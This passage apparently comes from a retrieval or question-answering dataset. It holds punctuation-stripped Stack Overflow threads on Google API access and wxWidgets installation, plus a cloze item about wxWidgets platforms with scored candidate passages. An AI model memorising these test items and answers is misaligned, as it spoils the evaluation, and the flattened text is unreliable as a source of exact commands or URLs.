you created needs to be granted access to the Google Apps domain s user data that you want to access . The following steps must be performed by an administrator of the Google Apps domain : Go to your Google Apps domain s Admin console . Select Security from the list of controls . If you don t see Security listed select More controls from the gray bar at the bottom of the page then select Security from the list of controls . Select Advanced settings from the list of options . Select Manage third party OAuth Client access in the Authentication section . In the Client name field enter the service account s Client ID . In the One or More API Scopes field enter the list of scopes that your application should be granted access to . For example if you need domain-wide access to the Google Drive API and the Google Calendar API enter : https : www.googleapis.com auth drive https : www.googleapis.com auth calendar .. . .. . Click Authorize . Also please check whether you have included all the scopes in your code which your application is trying to access . Let me know if you still see the issue . Comment : Thank you for your reply . Comment : You can accept the answer if it helps you . Comment : Thank you for your reply.I was granted access permission to my Google Apps Domain and I confirmed the scope include Gmail scope but that application returned 403 error . However I tried to access Google Calendar and Google drive via same credential except but scope setting then I could access normaly.Why.. . Comment : If your application access drive then the scope should be included . Otherwise it thrown this error", "Question : null .. . Answer : I want to read files on Google Drive partially Range request http : www.w3.org Protocols rfc2616 rfc2616-sec14.html sec14.35 or Partial download https : developers.google.com drive web manage-downloads partial download . Moreover I want to do it in series - to read next interval just only after previous interval has been read with CountDownLatch and in a separate thread Android prohibits HTTP-requests in main thread . For such purpose I want to implement ByteChannel method : .. . .. . If I use libraries google-api-services-drive-v2-rev151-1.18.0-rc.jar and google-api-client-assembly-1.18.0-rc-1.18.0-rc.zip https : code.google.com p google-api-java-client wiki Downloads tm 2 recommended by Google : .. . .. . I can never read more than six intervals However if I use Apache HTTP client : .. . .. . I can read all needed intervals . The problem appears to be in com.google.api.client.googleapis.extensions.android.gms.auth.GoogleAccountCredential . RequestHandler https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 271 .. . .. . because I can t get token https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 279 for seventh request and application always freezes in this point under debugging . 1 . What is the reason of that strange behaviour and how to make more than six requests with Google API .. . .. . 2 . Are there other ways to do partial download with Google API .. . .. . P.S . By the way class RequestHandler https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 271 has annotation @Beta.. . .. . .. . COMMENT : It seems the problem is in Google Play Service proprietary class com.google.android.gms.auth.GoogleAccountCredential used for getting a token https : code.google.com p google-api-java-client source browse google-api-client-android src main java com google-api-client googleapis extensions android gms auth GoogleAccountCredential.java r 073d519838c0b49006285d557992fc1d2f6d2a84 255 : .. . .. . As I suspect GoogleAuthUtil.getToken has to use main thread to validate authentication but main thread is blocked by CountDownLatch in a waiting of request result . Therefore I have deadlock at this point . First six requests are executed from AsyncTask and they does not block main thread . Comment : If you don t get a response on SO try posting to groups.google.com forum forum google-api-java-client https : groups.google.com forum forum google-api-java-client Comment : I don t know if you suspicion about GoogleAuthUtil.getToken is correct but either way it seems like a bad practice to block your UI thread to wait for the file download to complete . Try refactoring your application to not rely on blocking and you may get two birds with one stone . Comment : Yes I agree with you . But I had to lock UI thread to quickly check some features of Google Drive SDK and it was a temporary approach . By the way it works for Dropbox just fine . The suspicion is correct - all deadlocks disappear after rewriting partial requests by means of AsyncTask .", "Question : For the OAUTH setting for our google-calendar project the REDIRECT URIS is given as http : foo.com calendar callback .. . .. . It is possible that when this callback is called we need some extra information passed in the callback . For this what I planned was to pass in a key-value param to the callback in the hope that it will be returned when the callback is invoked . So when initiating the OAUTH process for example set the redirect url as http : foo.com calendar callback server id 180 .. . .. . This is not working . Can anyone suggest an alternative approach .. . Answer : Seems no . I create redirect cookie send browser to OAuth in callback method gets redirect cookie and make redirect to certain page . Comment : Seems no Not sure this answers the question ." ] }
[ "yes-answer-long", "yes-answer-short" ]
java
UNK_RELATION
wx@linux@95
wx -- wx wxwidgets is a c++ library that lets developers create applications for windows os x @placeholder and unix on 32-bit and 64-bit architectures as well as several mobile platforms including windows-mobile iphone sdk and embedded gtk + .
{ "confidence": [ 47.476287841796875, 44.87310028076172, 41.9976692199707, 40.413970947265625, 39.86363220214844, 39.54924774169922, 39.399009704589844, 38.321189880371094, 38.316856384277344, 38.27225875854492, 37.75621795654297, 36.7744140625, 36.52106857299805, 36.484519958496094, 36.26755905151367, 36.24967956542969, 36.18925476074219, 36.185546875, 36.06085968017578, 35.95909881591797, 35.85599899291992, 35.85599899291992, 35.73839569091797, 35.27015686035156, 35.21501541137695, 34.97429275512695, 34.94461441040039, 34.94461441040039, 34.82986068725586, 34.82986068725586, 34.702903747558594, 34.702903747558594, 34.702903747558594, 34.702903747558594, 34.575416564941406, 33.953060150146484, 33.676761627197266, 33.676761627197266, 33.676761627197266, 33.12971496582031, 32.560028076171875, 32.560028076171875, 32.38629913330078, 32.371700286865234, 32.23236083984375, 31.959436416625977, 31.903718948364258, 31.902681350708008, 31.896921157836914, 31.896921157836914, 31.896921157836914, 31.896921157836914, 31.896921157836914, 31.660295486450195, 31.660295486450195, 31.660295486450195, 31.503835678100586, 31.06083106994629, 30.87078094482422, 30.87078094482422, 30.87078094482422, 30.87078094482422, 30.412660598754883, 30.270015716552734, 29.664058685302734, 29.640926361083984, 29.640926361083984, 29.640926361083984, 29.404300689697266, 28.893415451049805, 28.682931900024414, 28.633556365966797, 28.40229606628418, 28.156665802001953, 28.156665802001953, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.11728286743164, 28.067367553710938, 27.9149112701416, 27.335525512695312, 27.175317764282227, 27.091144561767578 ], "content": [ "Great Thanks to Wx Developers .", "Specifically here s the link-to the wxOwnerDrawnComboBox : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo http : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo .", "im getting the errors in the wx thread.h file in several wxWidgets functions like vswscanf undefined-reference to ms vswscanf .", "The markup for the ComboBox is here : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo http : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo combo.cpp view markup", "Is there a known issue with wx 2.8.12", "kerl --with-wx doesn t create an erlang installation with wxe driver.so .", "On my machine it s C : Python27 lib site-packages wx-2.9.3-msw wx lib agw ultimatelistctrl.py .", "cabal-install wx-0.13.2.3 .. . .. . and it was OK .", "It should be easy to mix with wx .", "From wxWidgets documentation http : docs.wxwidgets.org 2.8.4 wx wxtreectrl.html wxtreectrl : .. . .. . disclaimer : this is for WX in c++ not python but it should be equivalent", "I have tried again and again to install any of the Perl Wx modules including Wx : : Perl : : SplashFast https : metacpan.org pod Wx : : Perl : : SplashFast without any success .", "I am using wx for the GUI .", "But I obtain this error message : .. . .. . NoMethodError : undefined method register hot key for Wx : : Frame : 0x38bfd70 .. . .. . Wx : : Frame inherits from Wx : : Window so I would expect that method to be there .", "If you can t get wx to install to the GIS location there may be a way to fake it by just copying the wx folder from C : Python27 and putting it in ArcGIS .", "A different question can you import wx from a python shell open in the windows console instead of from idle .", "Am I using the wx log facilities correctly", "I am trying to create an aui as shown in the demo program of the wx module .", "Move the wx from the above folder to C : Python27 Lib site-packages", "I m new to Python and WX .", "Basically I just want to compile Slic3r --gui from source which requires Wx which requires wxwidgets .", "It is the equivalent of this : .. . .. . That code will import : everything from Wx http : search.cpan.org dist Wx Wx.pm into the current namespace .", "One solution might be to rename site-packages wx-2.8-msw-unicode to site-packages wx .", "In general wxWidgets and wxPython are using native platform controls so if you OS does not support localization - you won t have it with wx-based application .", "install wx-config - http : wiki.wxwidgets.org Wx-Config - http : sites.google.com site wxconfig .. . .. . Install wxPack binary - http : wxpack.sourceforge.net - http : sourceforge.net projects wxpack .. . .. . install wxWidgets Windows Binary included in wxPack .. . .. . copy wxmsw28u gcc.dll .. . from : . . libraries wxWidgets lib gcc dll to : c : windows system .. . .. . install wxhaskell - http : haskell.org haskellwiki WxHaskell - http : haskell.org haskellwiki WxHaskell Download - http : downloads.sourceforge.net wxhaskell wxhaskell-bin-msw2.8.10-ghc6.10.4-0.11.1.2-0.zip .. . .. . define the environment variable WXCFG gcc dll mswu and make sure that wxwin is on PATH .. . .. . cabal-install wx wxcore .. . .. . If using Leksah also rebuild system data and reconfigure and build project s .", "I replicated what I see in the video on Linux but on OS X WX behaves differently maybe a version thing not sure .", "I have been running that code on the IDLE Python GUI import wx Traceback most recent call last : File pyshell 10 line 1 in module import wx ImportError : No module named wx", "wxruby-ruby19-2.0.1-x86-mingw32 lib wx accessors.rb : 50 : in method-missing : undefined method RegisterHotKey for Wx : : Frame : 0x2b15d70 NoMethodError", "I tried to install WX 0.90.0.1 on Haskell Platform 2012.2.0.0 using cabal-install wx but got the following result : .. . .. . Can anyone help", "@Mark When I try say wx-config -cxxflags I get a wx-config : command not found log .", "I need to pass the output of wx-config --libs and wx-config --cxxflags to the compiler .", "Did you build wx with the same compiler", "IDLE will let me import arcpy but not wx .", "PythonWin will let me import wx but not arcpy .", "Kerl will build with wx by default if all the dependencies are in-place .", "Well that variable is made by me...but I mean do you have a mixed wx 2.x 3.x series installed", "Right now I am developing on OS X and I notice that the Apple menu becomes unresponsive when my Wx application runs .", "I know enough wx that I m comfortable with this .", "Edit : Here is the log from failed cpanm Wx :", "please see the failed cpanm Wx log above", "thank you I have tried several spelling with and but I always omitted the first wx.. .", "I am using the Gtk port of wxWidgets 3.0.2 .", "I am using wxWidgets 3.0.2 with Gtk on Linux .", "I have the following : .. . .. . this folder contains the wx folder and also wx wxPython folders which each contain the init .py files .. . .. . When I import wx I get the error message no module named wx .. . .. . What do I need to do in order to get Python to find the relevant files to allow me to import wx succesfully", "First you need to find wx-config so try find -name wx-config in the Terminal and it will tell you where you have installed it .", "Im using Windows Vista 32-Bit can you post the code that you tried out", "As I recall installing wx-config trying wxpack messing with some environment-variables and telling it to ignore wx-config at some point in some way and then starting again .", "Also making this thread-sleep would give wx an opportunity to process things as well .", "The WX library which I have not used seems to use a strange callback or continuation passing style internally .", "How can I make this kind of structure coexist with the WX event-loop", "print works under Wx sometimes async undless you add an n", "This makes the preprocessor look for the latest version of the wx application in the code path .", "Maybe you didnt restarted idle after installing wx", "I m using python 2.7.5 with wx 2.8.12.1 running from IPython 1.1.0 .", "To be more clear when you originally installed wx it saw the Python in C : Python27 and installed in that location .", "Go to C : Python27 Lib site-packages find the folder wx- version -msw or similar .. . 2 .", "Or you could add C : Python27 Lib site-packages wx-2.8-msw-unicode to your PYTHONPATH environment variable .", "I stuck at installing wxHaskell on windows-xp-sp3 .. . .. . I installed MinGW MSYS and wx-config .. . .. . MinGW and MSYS with installer .. . .. . wx-config with adding the directory to environment variable WXWIN .. . .. . and wxWigets with installer .. . .. . when I type .. . .. . it says .. . .. . help .. . .. . thanks", "I ve read that in wx you can check if the c++ object still exsists by running if self : http : wxpython-users.1045709.n5.nabble.com is-there-a-method-to-test-if-an-wx-object-exists-td2356531.html however this no longer works in wxPython 3.0.2 . using wx 3 .", "The code was provided by the wx python wiki so it should work normally .", "I am using wx 2.8.10 and upgrading is not really an option currently", "However I can t seem to utilize wx-config in Terminal .", "If I am how do I use wx-config", "I stopped seeking for a GUI designer for wx after trying Pydev that auto-completes wx very nicely a lot better than everything I tried before.. . and that s a lot", "I used sudo cpan -f Wx : : Perl : : SplashFast and I get the error : .. . .. . Please note that I have wxpython installed in the system path at usr local lib wxPython-3.0.2.0 lib python2.7 site-packages wx-3.0-osx cocoa wx and other programs that require wxpython work fine .", "I ve been trying to place wx sizers wxBoxSizer wxGridSizer wxFlexGridSizer wxGridBagSizer inside of wxStaticBoxSizers .", "I think WX fell back to the non-GL version .", "Thanks a lot for your input tho in regards to WX QT .", "I think you might be right in regards to WX being the issue .", "How can you test if the c++ part of a wx object has been deleted in wxPython3.0.2 .", "Since each of my other wx App had Panel classes with all the widgets I wanted I didn t need to create classes for each page .", "So the code would have looked like this : .. . .. . Instead we decided to use native accelerators for GTK and OSX instead of wx accelerators so that the keyboard shortcut would animate the target button .", "For the reference here is what I do in my own bakefiles : .. . .. . This allows to do things like make WX CONFIG full path to wx-config which is handy when using an uninstalled version of wxWidgets .", "One year later this problem is still there.. . following your advice to change the line of code in wxc did not work for me : Trying to install wx-0.13.2.3 also fails : wx-0.13.2.3 depends on wxcore-0.13.2.3 which failed to install .", "I would try calling wxFrame- SetMinSize wxSize http : docs.wxwidgets.org stable wx 5Fwxwindow.html wxwindowsetminsize with whatever wxFlexGridSizer- GetMinSize http : docs.wxwidgets.org stable wx 5Fwxsizer.html wxsizergetminsize returns should work but not tested .", "However what I d propose : .. . .. . Abandon the WX GUI sinks in favor of the Qt GUI sinks you will have to change from WX to the QT build option in the option block and replace your sinks with their QT equivalent .", "I have a wx 2.8 Python 2.7 basic GUI that switches panels when the next button is pressed .", "now the wx undefined symbols are gone yet im getting different undefined symbols errors now which are e.g .", "Or more generally in a WX application how can I ensure that a certain task is only ever run on the main thread", "Also I should add the bitmap is created in the constructor of my Wx : : Frame derived-class .", "My guess is that Wx uses Exporter and has a group of things to import when called with : everything .", "The semantics are completely up to the module but I presume Wx to defines it to be export everything I can possibly export .", "In this case self is a subclass of Wx : : Frame and I can add controls menus etc to the frame .", "I m programming an application that uses WxPerl but the Wx : : Grid class is missing the method UseNativeColHeader http : docs.wxwidgets.org trunk classwx grid.html a4842fe48764f456260145947baa582d8 .", "Or if not WxRuby specifically what Wx resources have you found useful from a Ruby perspective", "I ve used it to automate logging into multiple different websites and you could easily slap a wx GUI on top of it .", "import wx import platform import psutil .. . .. . class MainWindow wx.Frame : .. . .. . Thanks for any suggestions :", "still when I want to import wx it says : .. . .. . would you please help me install it correctly", "The modules I have been using lately are wx from wxPython and the arcpy module .", "I have also removed a lot of parameters from your wx calls as those are default .", "Do you have the wx-config.exe somewhere in your PATH environmnet variable so that cabal can find it", "Notice also that for some reason you need to run cabal-install wx in cmd.exe and not the msys shell", "When I import wx I get the error message - where are you doing the import step i.e .", "Open it using notepad and its contents would be like wx-2.8-msw-unicode .. . .. . It is basically the name of the folder containing wxpython .", "May be you just don t have WX development libraries required to build driver", "To build wxe driver you should have WX development libraries installed on your system .", "Instead you should predefine UNICODE and or UNICODE the former is used by the CRT the latter by the SDK but the SDK will pick up the version with the underscore too and wxWidgets will respect it as well .", "I agree that we should switch to QT in the long run but since there are still several WX projects around it might be worth having a working installation .", "In our C++ application built on wx 2.8.12 our idle event http : docs.wxwidgets.org 2.8 wx wxidleevent.html wxidleevent appears to be firing continuously rather than only after another event in contrast of what the documentation states .", "I ve built a script to download setup wxWidgets and MinGW to build wxHaskell on Windows 7 .", "I want to use the wx grid module but cannot find anywhere to learn how exactly to start using this module ." ] }
{ "confidence": [ 64.43215942382812, 59.4734992980957, 57.58244705200195, 56.995262145996094, 56.971893310546875, 56.49831771850586, 56.4327507019043, 55.34098434448242, 52.18326187133789, 52.01632308959961, 50.61670684814453, 49.00838088989258, 48.868255615234375, 48.422218322753906, 47.879913330078125, 47.377471923828125, 47.12571334838867, 47.019405364990234, 47.01461410522461, 46.86953353881836 ], "content": [ "Question : I stuck at installing wxHaskell on windows-xp-sp3 .. . .. . I installed MinGW MSYS and wx-config .. . .. . MinGW and MSYS with installer .. . .. . wx-config with adding the directory to environment variable WXWIN .. . .. . and wxWigets with installer .. . .. . when I type .. . .. . it says .. . .. . help .. . .. . thanks Comment : Can you cabal-install wxcore and then link-to the build error Comment : when I cabal-install wxcore it says wxcore-0.12.1.6 failed during the configure step . the exception was : ExitFailure 1 thank you very much for your replying Comment : I believe you snipped a bit of the error message out . Could you edit the whole error message especially near the top that s where the configure happens and edit it to the original post Comment : thank you I added the whole error message .. . Answer : I found this was a bit troublesome and after trying several suggestions from various web posts got it to work . This may not be the optimal path but after many permutations and gyrations I was just glad to get it to work . install wx-config - http : wiki.wxwidgets.org Wx-Config - http : sites.google.com site wxconfig .. . .. . Install wxPack binary - http : wxpack.sourceforge.net - http : sourceforge.net projects wxpack .. . .. . install wxWidgets Windows Binary included in wxPack .. . .. . copy wxmsw28u gcc.dll .. . from : . . libraries wxWidgets lib gcc dll to : c : windows system .. . .. . install wxhaskell - http : haskell.org haskellwiki WxHaskell - http : haskell.org haskellwiki WxHaskell Download - http : downloads.sourceforge.net wxhaskell wxhaskell-bin-msw2.8.10-ghc6.10.4-0.11.1.2-0.zip .. . .. . define the environment variable WXCFG gcc dll mswu and make sure that wxwin is on PATH .. . .. . cabal-install wx wxcore .. . .. . If using Leksah also rebuild system data and reconfigure and build project s .", "Question : I tried to install WX 0.90.0.1 on Haskell Platform 2012.2.0.0 using cabal-install wx but got the following result : .. . .. . Can anyone help Comment : try downloading and maually installing wxc . . I mean cabal unpack wxc . . then go inside the folder and do cabal-install . Comment : Are you on Windows If so read on.. . It took me ages and some help which I think I documented at home I ll check later and update if so . Did you follow the instructions at haskell.org haskellwiki WxHaskell Windows http : www.haskell.org haskellwiki WxHaskell Windows to the letter With the current version you have to compile wxWidgets from source the previous one you can use an installer I went this route but neither way is straightforward . I feel your pain . Comment : I ve checked and can t find any documentation of what finally worked . As I recall installing wx-config trying wxpack messing with some environment-variables and telling it to ignore wx-config at some point in some way and then starting again . Certainly you ll need wxwidgets compiled and installed first before you do anything with cabal . .. . Answer : I had the same problem with wxc-0.90.0.4 but failed during the build-process and found that the error had been corrected in the Github repository https : github.com jodonoghue wxHaskell commit 79373da951f14ae8dc08c35aa16b67b0fa3bc84a wxc src cpp eljpen.cpp for wxHaskell . The error can be fixed by unpacking wxc as suggested by Satvik http : stackoverflow.com users 750603 satvik : cabal unpack wxc .. . .. . Then modify the few lines-of-code as per the Github repository above and then in the wxc directory do : cabal-install .. . .. . After that you should be able to do : cabal-install vx .. . .. . As an alternative use the version that is built against wxWidgets 2.8 : cabal-install wx-0.13.2.3 Comment : One year later this problem is still there.. . following your advice to change the line of code in wxc did not work for me : Trying to install wx-0.13.2.3 also fails : wx-0.13.2.3 depends on wxcore-0.13.2.3 which failed to install .", "Question : My specifications are up to-date OS X El Capitan 10.11 . Here are details on what I ve tried so far . I ve followed the Terminal installation steps included in the wxWidgets download : .. . .. . Then I followed the wxWidgets wiki guide https : wiki.wxwidgets.org Creating Xcode projects for wxWidgets applications for creating Xcode projects . Of course there were plenty of compilation errors . After taking care of an incorrectly typed include there were still issues . For the most part they were undeclared identifiers and incomplete types but my attention went to one in particular : .. . .. . After researching I believe I need to use wx-config to find what flags to input into the Other Linker Flags option in Xcode . However I can t seem to utilize wx-config in Terminal . I m not sure if I m dealing with the core issue . If I am how do I use wx-config And if I m not please steer me in the right direction . Thank you . EDIT : .. . .. . I ve used wx-config to find which flags I needed to input into Other Linker Flags and Preprocessor Macros in Xcode . This significantly reduced the amount of errors and warnings that I was facing . Unfortunately these new errors are esoteric to me : .. . .. . Error Warning Log http : i.stack.imgur.com YsmvH.png .. . .. . How do I remove these errors so I can run this project Comment : What do you mean when you say you can t seem to use wx-config . What happens when you try Comment : @Mark When I try say wx-config -cxxflags I get a wx-config : command not found log . Comment : Ok you have probably have not set your PATH correctly so that bash can find wx-config . First you need to find wx-config so try find -name wx-config in the Terminal and it will tell you where you have installed it . Then you will know the full path to it - come back when you find it . Comment : @Mark Awesome I am now in the correct directory . Comment : So if it is in usr freddy you can either run usr freddy wx-config or you can edit your HOME .profile and set your PATH to export PATH PATH : usr freddy them bash will know where it is every time you log in . .. . Answer : I m finally able to compile and run wxWidgets programs using Xcode 7 . I ve found and followed this awesome guide http : web.eng.fiu.edu watsonh eel3160 WxMac.pdf of which step 3 seems to now be irrelevant . In case the link breaks here is a summary of the steps that helped me : .. . .. . .. . .. . Open Terminal and install Homebrew by inputting : .. . .. . Then input : .. . .. . Open Xcode and create a Command Line Tool C++ project . Back in Terminal input : .. . .. . Once inputted copy everything outputted by the Terminal and place it into Other Linker Flags found in Build Settings of your Xcode project . At Terminal input : .. . .. . Again copy everything outputted except this time place it into Other C++ Flags do not erase what is currently in that section . Then of course don t forget to include wx wx.h and don t forget to have at least an empty main function if you want it to run . .. . .. . I m not at a place where I can create Cocoa projects products but that s totally fine . I simply wanted a canvas to familiarize myself with the wxWidgets library . I hope this post will be helpful to others . Comment : Hey man great posting both the question and the answer . They were helpful to me . Also great profile description Comment : @Marc.2377 Wow it s very cool seeing a posting of mine help someone else out . Thank you for this comment . And thank you for the profile compliment", "Question : I m trying to compile wxWidgets 3.0.2 project on Windows 10 with TDM-GCC 4.7.1 32bit I get this error below : .. . .. . Compilation .. . .. . Errors Comment : did you do a configure first or you use Makefile directly Comment : What do you mean wxWidgets is compiled Im using it as library to complie cpp project that is linked with it . Comment : so those errors come from the project and not the library itself What version of gcc do you use Where did you get it from Did you build wx with the same compiler How do you build you project .. . Answer : I m not sure if this is what explains your problem but in any case using -DwxUSE UNICODE on the command-line is wrong all wxUSE XXX symbols are supposed to be defined as 0 or 1 not as nothing . But even -DwxUSE UNICODE 1 would be wrong as this can result in mismatches between CRT SDK and wxWidgets headers . Instead you should predefine UNICODE and or UNICODE the former is used by the CRT the latter by the SDK but the SDK will pick up the version with the underscore too and wxWidgets will respect it as well .", "Question : I stuck at installing wxHaskell on windows-xp-sp3 .. . .. . I installed MinGW MSYS and wx-config .. . .. . MinGW and MSYS with installer .. . .. . wx-config with adding the directory to environment variable WXWIN .. . .. . and wxWigets with installer .. . .. . when I type .. . .. . it says .. . .. . help .. . .. . thanks Comment : Can you cabal-install wxcore and then link-to the build error Comment : when I cabal-install wxcore it says wxcore-0.12.1.6 failed during the configure step . the exception was : ExitFailure 1 thank you very much for your replying Comment : I believe you snipped a bit of the error message out . Could you edit the whole error message especially near the top that s where the configure happens and edit it to the original post Comment : thank you I added the whole error message .. . Answer : I think what you re missing in particular is the WXWIN environment variable specified by that error message . If you know how to set environment-variables in Windows I believe it involves the System Properties but you can look that up online set WXWIN to the wxWidgets directory something like C : wxWidgets-2.8 .. . .. . Then try cabal-install wxcore again .. . .. . It may be helpful to have a look at this guide : http : www.haskell.org haskellwiki WxHaskell Building .. . .. . Note : I have not yet tried to build wxHaskell on Windows but most other wxHaskell users seem to be on Windows so I think it must be possible .. . .. . Edit : Sorry I notice that you mention the WXWIN environment variable in your posting so I m not sure what exactly the issue is . It could be useful to echo WXWIN in cmd.exe to make sure it s set properly . Notice also that for some reason you need to run cabal-install wx in cmd.exe and not the msys shell", "Question : I tried to install WX 0.90.0.1 on Haskell Platform 2012.2.0.0 using cabal-install wx but got the following result : .. . .. . Can anyone help Comment : try downloading and maually installing wxc . . I mean cabal unpack wxc . . then go inside the folder and do cabal-install . Comment : Are you on Windows If so read on.. . It took me ages and some help which I think I documented at home I ll check later and update if so . Did you follow the instructions at haskell.org haskellwiki WxHaskell Windows http : www.haskell.org haskellwiki WxHaskell Windows to the letter With the current version you have to compile wxWidgets from source the previous one you can use an installer I went this route but neither way is straightforward . I feel your pain . Comment : I ve checked and can t find any documentation of what finally worked . As I recall installing wx-config trying wxpack messing with some environment-variables and telling it to ignore wx-config at some point in some way and then starting again . Certainly you ll need wxwidgets compiled and installed first before you do anything with cabal . .. . Answer : I did the following : .. . .. . 1 . sudo apt-get install libwxgtk2.9-0 .. . .. . 2 . sudo apt-get install libwxgtk2.9-dev .. . .. . 3 . cabal-install wx-0.13.2.3 .. . .. . and it was OK . Comment : Apparently the question was about installing it under Windows .", "Question : So recently i downloaded the newest version of wxPack wxWidgets3.0.0 for C++ and installed it . now that i want to use it in my program i included the include path inside the library s base directory and added the gcc48 lib directory to the library directories . however i dont quite get which library to link against in order to get my dialog with a single button displayed . ive tried both libwxmsw30u and libwxmsw30u core and with both i get linking errors here being several undefined references to wxWidget components like several class methods . i already tried searching for this on google but all i get are tutorials on how to build the actual wxWidgets source code not how to link against it so no valuable information there . any help will be greatly appreciated . Comment : forgot to add that im using the 32bit version of the TDM-GCC-Compiler under Windows 8 . .. . Answer : The necessary libraries to link with are described on this wxWidgets page http : docs.wxwidgets.org trunk page libs.html . As you can see wxBase libwxbase30u in your case is needed always then wxCore for all GUI stuff . The rest is used by certain components only again described on that page . There also some other auxiliary libraries like libwxzlib or libwxpngd but those should be fairly easy to determine by the names of the missing symbols or their associated functionality you are using compression PNG images .. . . Comment : now the wx undefined symbols are gone yet im getting different undefined symbols errors now which are e.g . imp GetObjectW@12 and imp DeleteObject@4 . ive had these errors before ppl suggested me that i should link against ole32 or gdi32 ive also tried mingw32 and none of these work . i still get the errors Comment : OK that s in GDI32.DLL from Windows - you generally need to link with common Windows libraries . One wxWidgets example I Googled quickly said -lkernel32 -luser32 -lgdi32 -lcomdlg32 -lwinspool -lwinmm -lshell32 -lcomctl32 -lole32 -loleaut32 -luuid -lrpcrt4 -ladvapi32 -lwsock32 that should work for most commonly used APIs . Comment : im getting the errors in the wx thread.h file in several wxWidgets functions like vswscanf undefined-reference to ms vswscanf . Library handling in C C++ SUCKS . : Comment : and all the deleteObject createObject undefined references from gdi32 are still there too . Comment : compiled it in 64bit with lib64 added now now im only getting 3 undefined-reference errors like this : C : Users Daniel Documents API C++ wxWidgets3.0 lib64 gcc48 lib libwxbase30u.a b aselib filename.o : filename.cpp undefined-reference to IID IShellLinkW . any idea what that is imp coCreateInstance is also an undefined-reference .", "Question : I stuck at installing wxHaskell on windows-xp-sp3 .. . .. . I installed MinGW MSYS and wx-config .. . .. . MinGW and MSYS with installer .. . .. . wx-config with adding the directory to environment variable WXWIN .. . .. . and wxWigets with installer .. . .. . when I type .. . .. . it says .. . .. . help .. . .. . thanks Comment : Can you cabal-install wxcore and then link-to the build error Comment : when I cabal-install wxcore it says wxcore-0.12.1.6 failed during the configure step . the exception was : ExitFailure 1 thank you very much for your replying Comment : I believe you snipped a bit of the error message out . Could you edit the whole error message especially near the top that s where the configure happens and edit it to the original post Comment : thank you I added the whole error message .. . Answer : Do you have the wx-config.exe somewhere in your PATH environmnet variable so that cabal can find it Additionally you might try to define the environment variable WXCFG gcc dll mswu . And as a last try : Did you compile wxWidgets with the correct settings like so : mingw32-make -f makefile.gcc BUILD release MONOLITHIC 1 SHARED 1 UNICODE 1 That s all I got . I had similar issues but I simply didn t follow the installation guide exactly so maybe you missed something . Comment : I ve built a script to download setup wxWidgets and MinGW to build wxHaskell on Windows 7 . See github.com cessationoftime wxHaskell-Windows-Builder https : github.com cessationoftime wxHaskell-Windows-Builder", "Question : I m trying to figure out if it s possible to style the items in a drop-down menu when I use the wxChoice widget . Best I can tell it s not possible but I just wanted to ask the greater Perl community to make 100 sure that I was correct in my thinking . My goal would be to color some of the items in the pull-down red while others were black . I noticed that the wxChoice widget has the method SetForegroundColour but this colors all the text in the wxChoice widget . Results in a pull-down looking like this : .. . .. . wxChoice example using SetForegroundColour http : farm7.static.flickr.com 6214 6257834661 b8e81176cc m d.jpg .. . .. . Is it possible to individually style wxChoice items .. . Answer : You can t do it with a wxChoice but you could use a wxOwnerDrawnComboBox http : docs.wxwidgets.org trunk classwx owner drawn combo box.html there is an example of it in the wxWidgets samples in the folder called combo . Comment : Thanks that s what I was looking for . The link-to the wxWidget samples is here : docs.wxwidgets.org trunk page samples.html http : docs.wxwidgets.org trunk page samples.html . Specifically here s the link-to the wxOwnerDrawnComboBox : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo http : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo . The markup for the ComboBox is here : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo http : svn.wxwidgets.org viewvc wx wxWidgets trunk samples combo combo.cpp view markup", "Question : My specifications are up to-date OS X El Capitan 10.11 . Here are details on what I ve tried so far . I ve followed the Terminal installation steps included in the wxWidgets download : .. . .. . Then I followed the wxWidgets wiki guide https : wiki.wxwidgets.org Creating Xcode projects for wxWidgets applications for creating Xcode projects . Of course there were plenty of compilation errors . After taking care of an incorrectly typed include there were still issues . For the most part they were undeclared identifiers and incomplete types but my attention went to one in particular : .. . .. . After researching I believe I need to use wx-config to find what flags to input into the Other Linker Flags option in Xcode . However I can t seem to utilize wx-config in Terminal . I m not sure if I m dealing with the core issue . If I am how do I use wx-config And if I m not please steer me in the right direction . Thank you . EDIT : .. . .. . I ve used wx-config to find which flags I needed to input into Other Linker Flags and Preprocessor Macros in Xcode . This significantly reduced the amount of errors and warnings that I was facing . Unfortunately these new errors are esoteric to me : .. . .. . Error Warning Log http : i.stack.imgur.com YsmvH.png .. . .. . How do I remove these errors so I can run this project Comment : What do you mean when you say you can t seem to use wx-config . What happens when you try Comment : @Mark When I try say wx-config -cxxflags I get a wx-config : command not found log . Comment : Ok you have probably have not set your PATH correctly so that bash can find wx-config . First you need to find wx-config so try find -name wx-config in the Terminal and it will tell you where you have installed it . Then you will know the full path to it - come back when you find it . Comment : @Mark Awesome I am now in the correct directory . Comment : So if it is in usr freddy you can either run usr freddy wx-config or you can edit your HOME .profile and set your PATH to export PATH PATH : usr freddy them bash will know where it is every time you log in . .. . Answer : Arman First couple of questions : .. . .. . 1 . What OS are you trying to compile 2 . What is your requirements for the minimal OSX version 3 . I presume you are trying to compile the latest Git HEAD . Please correct me if its not the case . Now couple of recommendations : .. . .. . 1 . Try to run . . configure --help and see at all the different options you can set . 2 . Try to run . . configure --enable-debug --with-mac-osx-version-min 10.x --with-cocoa . This command has to be run after removing the build directory completely and pretending you are starting over . 3 . Try to open the minimal.xcode project in the samples minimnal directory add the minimal.cpp file to it and compile . If it compiles and runs fine then you made a mistake setting up the project of your own . Let us know how it goes . Comment : I ran . . configure --enable-debug 